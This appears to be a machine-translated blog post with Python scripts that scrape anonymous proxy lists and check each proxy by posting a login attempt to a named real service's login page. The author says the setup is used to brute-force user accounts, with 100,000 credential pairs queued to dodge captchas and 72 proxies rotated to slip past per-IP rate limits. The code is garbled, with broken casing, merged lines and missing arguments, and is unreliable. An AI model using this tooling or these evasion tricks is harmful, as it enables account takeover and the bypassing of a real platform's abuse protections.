Sample code for bulk acquisition and validation of HTTP proxies via Python

This article mainly describes the bulk acquisition and validation of HTTP proxy Python script, the need for friends can refer to the following

HTTP brute force hack, crash library, some of the usual techniques, such as:

1. I encountered a single account error two times at the time of the sweep, forcing a code to be entered and the other party not enforcing the IP policy.

I use the maintenance 100,000 (username, password) queue way to bypass the verification code. In particular, when a user name, password combination encountered the need for verification code, the crack sequence is suspended, put to the end of the queue waiting for the next test, continue to crack other account password.

This ensures that 2/3 of the time is in the normal hack and sweep number.

2. In the decoding of the United States network System account, I encountered a single IP access has a certain limit, the request frequency can not be too fast. So I hung up 72 HTTP proxies to solve this problem. Seemingly every IP request is normal, but in fact from the entire program, the efficiency is quite considerable.

In this article I send my own HTTP script fragment, in fact, only a few lines. The anonymous proxy was crawled from here: http://www.xici.net.co/nn/

First get the list of proxies:

From BS4 import Beautifulsoupimport urllib2of = open (' Proxy.txt ', ' W ') for page in range (1):  Html_doc = urllib2.u Rlopen (' http://www.xici.net.co/nn/' + str (page)). Read ()  soup = BeautifulSoup (html_doc)  TRS = Soup.find (' Table ', id= ' ip_list '). Find_all (' tr ') for  tr in trs[1:]:    TDS = Tr.find_all (' TD ')    IP = Tds[1].text.strip ()    port = Tds[2].text.strip ()    protocol = Tds[5].text.strip ()    If protocol = = ' HTTP ' or protocol = = ' HTTPS ':      Of.write ('%s=%s:%s\n '% (protocol, IP, port))      print '%s=%s:%s '% (protocol, IP, Port) of.close ()

Then verify that the agent is available, because I am the account used to hack the American network system, so we use the American Regiment's page tag:

#encoding =gbkimport httplibimport timeimport urllibimport threadinginfile = open (' Proxy.txt ', ' r ') outFile = open (' Available.txt ', ' w ') lock = threading. Lock () def test (): While True:lock.acquire () line = Infile.readline (). Strip () Lock.release () If Len (line) = = 0:break protocol, proxy = Line.split (' = ') headers = {' Content-type ': ' application/x-www-form-urlencoded ', ' Coo Kie ': '} try:conn = Httplib. Httpconnection (proxy, timeout=3.0) conn.request (method= ' POST ', url= ' http://e.meituan.com/m/account/login ', body= ' Login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1 ', headers= Headers) res = Conn.getresponse () ret_headers = str (res.getheaders ()) Html_doc = Res.read (). Decode (' UTF        -8 ') Print html_doc.encode (' GBK ') if Ret_headers.find (U '/m/account/login/') > 0:lock.acquire () print ' Add proxy ', proxy outfile.write (proxy + ' \ n ') lock.release () Else:       print '. ', except Exception, e:print eall_thread = []for i in range: T = Threading. Thread (target=test) all_thread.append (t) T.start () for T in All_thread:t.join () Infile.close () Outfile.close ()